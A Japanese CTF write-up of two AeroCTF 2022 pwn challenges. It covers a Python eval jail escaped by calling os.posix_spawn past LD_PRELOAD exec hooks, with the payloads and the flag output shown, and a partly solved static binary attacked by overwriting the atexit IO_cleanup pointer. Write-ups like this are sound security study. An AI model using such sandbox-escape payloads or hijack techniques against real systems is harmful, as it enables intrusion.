AeroCTF 2022 Writeup

AeroCTF に参加しました。
とりあえずpwnは4問あって、1問(balloon )だけ非想定解法解きました。
全体的にwrite upもあまり出てきていないようですし、あまり参加してる人少なかったのかもしれません。

balloon (21 solve)

いわゆるpython jail問。
受け取ったコードを、evalで実行する形式。

ubuntu@ubuntu-virtual-machine:~/ctf/aeroctf/pwn-balloon$ ./balloon.py 
[*] Please, input a payload:
> 1+1
2


しかし、同時に配布されているpreload.soがLD_PRELOADでロードされている。
このpreload.soの中で、exec系がつぶされている。
例えば下記のような感じ。
FUN_00101119();は、securityチェックの関数。

int execl(char *__path,char *__arg,...)

{
  int iVar1;
  
  iVar1 = FUN_00101119();
  return iVar1;
}

とりあえず実行してみると下記のようになる。

ubuntu@ubuntu-virtual-machine:~/ctf/aeroctf/pwn-balloon$ nc 51.250.22.68 34202
[*] Security check initialized
[*] Please, input a payload:
> os.system("cat flag")
[-] Security check failed :(

ということで、exec系がない中でどうやってシェルを起動するかを考える。

実はflagというバイナリを配布されていて、このバイナリの中に答えのFLAGがハードコーディングされている。
なので読み込めればいいはずなのだが、

ubuntu@ubuntu-virtual-machine:~/ctf/aeroctf/pwn-balloon$ nc 51.250.22.68 34202
[*] Security check initialized
[*] Please, input a payload:
> print(__builtins__.__dict__['open']('./challenge/flag', 'rb'))
[-] [Errno 13] Permission denied: './challenge/flag'

読み込み権限はついていない。
素直にbinaryの実行ができそうな関数を探してみる。

ubuntu@ubuntu-virtual-machine:~/ctf/aeroctf/pwn-balloon$ nc 51.250.22.68 34202
[*] Security check initialized
[*] Please, input a payload:
> dir(os)
['CLD_CONTINUED', 'CLD_DUMPED', 'CLD_EXITED', 'CLD_KILLED', 'CLD_STOPPED', 'CLD_TRAPPED', 'DirEntry', 'EFD_CLOEXEC', 'EFD_NONBLOCK', 'EFD_SEMAPHORE', 'EX_CANTCREAT', 'EX_CONFIG', 'EX_DATAERR', 'EX_IOERR', 'EX_NOHOST', 'EX_NOINPUT', 'EX_NOPERM', 'EX_NOUSER', 'EX_OK', 'EX_OSERR', 'EX_OSFILE', 'EX_PROTOCOL', 'EX_SOFTWARE', 'EX_TEMPFAIL', 'EX_UNAVAILABLE', 'EX_USAGE', 'F_LOCK', 'F_OK', 'F_TEST', 'F_TLOCK', 'F_ULOCK', 'GRND_NONBLOCK', 'GRND_RANDOM', 'GenericAlias', 'MFD_ALLOW_SEALING', 'MFD_CLOEXEC', 'MFD_HUGETLB', 'MFD_HUGE_16GB', 'MFD_HUGE_16MB', 'MFD_HUGE_1GB', 'MFD_HUGE_1MB', 'MFD_HUGE_256MB', 'MFD_HUGE_2GB', 'MFD_HUGE_2MB', 'MFD_HUGE_32MB', 'MFD_HUGE_512KB', 'MFD_HUGE_512MB', 'MFD_HUGE_64KB', 'MFD_HUGE_8MB', 'MFD_HUGE_MASK', 'MFD_HUGE_SHIFT', 'Mapping', 'MutableMapping', 'NGROUPS_MAX', 'O_ACCMODE', 'O_APPEND', 'O_ASYNC', 'O_CLOEXEC', 'O_CREAT', 'O_DIRECT', 'O_DIRECTORY', 'O_DSYNC', 'O_EXCL', 'O_FSYNC', 'O_LARGEFILE', 'O_NDELAY', 'O_NOATIME', 'O_NOCTTY', 'O_NOFOLLOW', 'O_NONBLOCK', 'O_PATH', 'O_RDONLY', 'O_RDWR', 'O_RSYNC', 'O_SYNC', 'O_TMPFILE', 'O_TRUNC', 'O_WRONLY', 'POSIX_FADV_DONTNEED', 'POSIX_FADV_NOREUSE', 'POSIX_FADV_NORMAL', 'POSIX_FADV_RANDOM', 'POSIX_FADV_SEQUENTIAL', 'POSIX_FADV_WILLNEED', 'POSIX_SPAWN_CLOSE', 'POSIX_SPAWN_DUP2', 'POSIX_SPAWN_OPEN', 'PRIO_PGRP', 'PRIO_PROCESS', 'PRIO_USER', 'P_ALL', 'P_NOWAIT', 'P_NOWAITO', 'P_PGID', 'P_PID', 'P_PIDFD', 'P_WAIT', 'PathLike', 'RTLD_DEEPBIND', 'RTLD_GLOBAL', 'RTLD_LAZY', 'RTLD_LOCAL', 'RTLD_NODELETE', 'RTLD_NOLOAD', 'RTLD_NOW', 'RWF_APPEND', 'RWF_DSYNC', 'RWF_HIPRI', 'RWF_NOWAIT', 'RWF_SYNC', 'R_OK', 'SCHED_BATCH', 'SCHED_FIFO', 'SCHED_IDLE', 'SCHED_OTHER', 'SCHED_RESET_ON_FORK', 'SCHED_RR', 'SEEK_CUR', 'SEEK_DATA', 'SEEK_END', 'SEEK_HOLE', 'SEEK_SET', 'SPLICE_F_MORE', 'SPLICE_F_MOVE', 'SPLICE_F_NONBLOCK', 'ST_APPEND', 'ST_MANDLOCK', 'ST_NOATIME', 'ST_NODEV', 'ST_NODIRATIME', 'ST_NOEXEC', 'ST_NOSUID', 'ST_RDONLY', 'ST_RELATIME', 'ST_SYNCHRONOUS', 'ST_WRITE', 'TMP_MAX', 'WCONTINUED', 'WCOREDUMP', 'WEXITED', 'WEXITSTATUS', 'WIFCONTINUED', 'WIFEXITED', 'WIFSIGNALED', 'WIFSTOPPED', 'WNOHANG', 'WNOWAIT', 'WSTOPPED', 'WSTOPSIG', 'WTERMSIG', 'WUNTRACED', 'W_OK', 'XATTR_CREATE', 'XATTR_REPLACE', 'XATTR_SIZE_MAX', 'X_OK', '_Environ', '__all__', '__builtins__', '__doc__', '__file__', '__loader__', '__name__', '__package__', '__spec__', '_check_methods', '_execvpe', '_exists', '_exit', '_fspath', '_fwalk', '_get_exports_list', '_spawnvef', '_walk', '_wrap_close', 'abc', 'abort', 'access', 'altsep', 'chdir', 'chmod', 'chown', 'chroot', 'close', 'closerange', 'confstr', 'confstr_names', 'copy_file_range', 'cpu_count', 'ctermid', 'curdir', 'defpath', 'device_encoding', 'devnull', 'dup', 'dup2', 'environ', 'environb', 'error', 'eventfd', 'eventfd_read', 'eventfd_write', 'execl', 'execle', 'execlp', 'execlpe', 'execv', 'execve', 'execvp', 'execvpe', 'extsep', 'fchdir', 'fchmod', 'fchown', 'fdatasync', 'fdopen', 'fork', 'forkpty', 'fpathconf', 'fsdecode', 'fsencode', 'fspath', 'fstat', 'fstatvfs', 'fsync', 'ftruncate', 'fwalk', 'get_blocking', 'get_exec_path', 'get_inheritable', 'get_terminal_size', 'getcwd', 'getcwdb', 'getegid', 'getenv', 'getenvb', 'geteuid', 'getgid', 'getgrouplist', 'getgroups', 'getloadavg', 'getlogin', 'getpgid', 'getpgrp', 'getpid', 'getppid', 'getpriority', 'getrandom', 'getresgid', 'getresuid', 'getsid', 'getuid', 'getxattr', 'initgroups', 'isatty', 'kill', 'killpg', 'lchown', 'linesep', 'link', 'listdir', 'listxattr', 'lockf', 'login_tty', 'lseek', 'lstat', 'major', 'makedev', 'makedirs', 'memfd_create', 'minor', 'mkdir', 'mkfifo', 'mknod', 'name', 'nice', 'open', 'openpty', 'pardir', 'path', 'pathconf', 'pathconf_names', 'pathsep', 'pidfd_open', 'pipe', 'pipe2', 'popen', 'posix_fadvise', 'posix_fallocate', 'posix_spawn', 'posix_spawnp', 'pread', 'preadv', 'putenv', 'pwrite', 'pwritev', 'read', 'readlink', 'readv', 'register_at_fork', 'remove', 'removedirs', 'removexattr', 'rename', 'renames', 'replace', 'rmdir', 'scandir', 'sched_get_priority_max', 'sched_get_priority_min', 'sched_getaffinity', 'sched_getparam', 'sched_getscheduler', 'sched_param', 'sched_rr_get_interval', 'sched_setaffinity', 'sched_setparam', 'sched_setscheduler', 'sched_yield', 'sendfile', 'sep', 'set_blocking', 'set_inheritable', 'setegid', 'seteuid', 'setgid', 'setgroups', 'setpgid', 'setpgrp', 'setpriority', 'setregid', 'setresgid', 'setresuid', 'setreuid', 'setsid', 'setuid', 'setxattr', 'spawnl', 'spawnle', 'spawnlp', 'spawnlpe', 'spawnv', 'spawnve', 'spawnvp', 'spawnvpe', 'splice', 'st', 'stat', 'stat_result', 'statvfs', 'statvfs_result', 'strerror', 'supports_bytes_environ', 'supports_dir_fd', 'supports_effective_ids', 'supports_fd', 'supports_follow_symlinks', 'symlink', 'sync', 'sys', 'sysconf', 'sysconf_names', 'system', 'tcgetpgrp', 'tcsetpgrp', 'terminal_size', 'times', 'times_result', 'truncate', 'ttyname', 'umask', 'uname', 'uname_result', 'unlink', 'unsetenv', 'urandom', 'utime', 'wait', 'wait3', 'wait4', 'waitid', 'waitid_result', 'waitpid', 'waitstatus_to_exitcode', 'walk', 'write', 'writev']

この中で、posix_spawnなる関数があるので試してみると通った。

ubuntu@ubuntu-virtual-machine:~/ctf/aeroctf/pwn-balloon$ nc 51.250.22.68 34202
[*] Security check initialized
[*] Please, input a payload:
> os.posix_spawn("./challenge/flag",["a"], {})
8
I believe there are many ways to exploit this...

Aero{RCE_1n_Pyth0n_1s_d4NG3r0uS_ev3Ry_t1m3}

なお、この解法はunintended solutionらしい。
github.com

公式解法は何してるのかよくわからないが、既存のissueをうまく使ってるらしい。
勝手な想像だがこれ解いた人の多くがposix_spawnなんじゃないだろうか。

ところでpreload.soの下記はいったい何をやっているんだろう?

int nice(int __inc)

{
  FUN_00101148(0x861a0,0x1a8);
  FUN_00101148(0x85e60,0x1a8);
  FUN_00101148(0x8ca80,0x1a8);
  FUN_00101148(0x93c20,0x1a8);
  write(1,"[*] Security check initialized\n",0x1f);
  return 1;
}

one-bullet (11 solve)

RIPまでは容易に奪うことができたが、解けなかった。

実行すると下記のように、xとyの値を6回求められて、最後にコメントを求められる。

buntu@ubuntu-virtual-machine:~/ctf/aeroctf/one$ ./one_bullet 

            ,___________________________________________/7
           |-_______------. `\                             |
       _,/ | _______)     |___\____________________________|
  .__/`((  | _______      | (/))_______________=.
     `~) \ | _______)     |   /----------------_/
       `__y|______________|  /
       / ________ __________/
      / /#####\(  \  /     ))
     / /#######|\  \(     //
    / /########|.\______ad/`
   / /###(\)###||`------``
  / /##########||
 / /###########||
( (############||
 \ \####(/)####))
  \ \#########//
   \ \#######//
    `---|_|--`
       ((_))
        `-`
6 shots left!
Where do you want to shoot? x: 1
y: 2
!!!BAAAAAANG!!!

最後

Where do you want to shoot? x: 10
y: 11
!!!BAAAAAANG!!!
{!} Please leave a comment about shooting!
{?} Comment size: AA
{?} Comment: {+} Thanks!

ちなみにstatic link形式である。

色々試していて分かったが、read_into_buffer関数で入力した値(ここでいうとxやy)がComment size: を求められたときの
scanf()の第二引数に入ることがあるようだ。
したがって、任意のアドレスに任意の値を書くことができる。

最後に、exit 関数が呼ばれているが、exit関数は_exit関数と異なり、プログラムの終了に伴い色々な処理を実施している。
一部の関数テーブルを書き換えることで容易にRIPを奪うことができる。

実際に今回私が使ったのは、__elf_set___libc_atexit_element__IO_cleanup__だった。

 RAX  0x0
 RBX  0x4e0468 (__elf_set___libc_atexit_element__IO_cleanup__) —▸ 0x428d60 (_IO_cleanup) ◂— endbr64 
 RCX  0x4e1578 (unseen_objects) ◂— 0x0
 RDX  0x1
 RDI  0x4cecb8 (__EH_FRAME_BEGIN__) ◂— 0x440000001c
 RSI  0x1
 R8   0x0
 R9   0xd
 R10  0x4b3093 ◂— '{?} Comment: '
 R11  0x246
 R12  0x4e0470 ◂— 0x0
 R13  0x1
 R14  0x0
 R15  0x1
 RBP  0x1
 RSP  0x7fffffffdea0 ◂— 0xb /* '\x0b' */
*RIP  0x410898 (__run_exit_handlers+536) ◂— call   qword ptr [rbx]
─────────────────────────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────────────────────────
   0x410885 <__run_exit_handlers+517>    sub    rax, 1
   0x410889 <__run_exit_handlers+521>    sub    rax, rbx
   0x41088c <__run_exit_handlers+524>    shr    rax, 3
   0x410890 <__run_exit_handlers+528>    lea    r12, [rbx + rax*8 + 8]
   0x410895 <__run_exit_handlers+533>    nop    dword ptr [rax]
 ► 0x410898 <__run_exit_handlers+536>    call   qword ptr [rbx]               <_IO_cleanup>
        rdi: 0x4cecb8 (__EH_FRAME_BEGIN__) ◂— 0x440000001c
        rsi: 0x1
        rdx: 0x1
        rcx: 0x4e1578 (unseen_objects) ◂— 0x0

__elf_set___libc_atexit_element__IO_cleanup__のアドレスを書き換えることで、任意のアドレスに飛ばすことができる。

ということでone_gadget…と行きたいところだったが、この問題はstatic linkでone gadgetを調べる方法もない。

私は__elf_set___libc_atexit_element__IO_cleanup__ をmainに書き換えて無限ループにして、
stackのアドレスをleak して ROP gadgetをstack内に書き込み、最後にstack pivot…と行きたいところだったが
どうしてもstackのアドレスをleakさせる方法を見つけることができなかった…


さて、公式write upといえば、__elf_set___libc_atexit_element__IO_cleanup__ に 0x4011b0なるgadgetを入れて、一発で stack pivotしていた。
この方法なら、無限ループにするまでもなく、一発でROPができる。この問題が解けるかどうかの瀬戸際は、このgadgetを見つけることができるかどうかだったと思われる。
ちなみにrp++で見つけることできるのかな?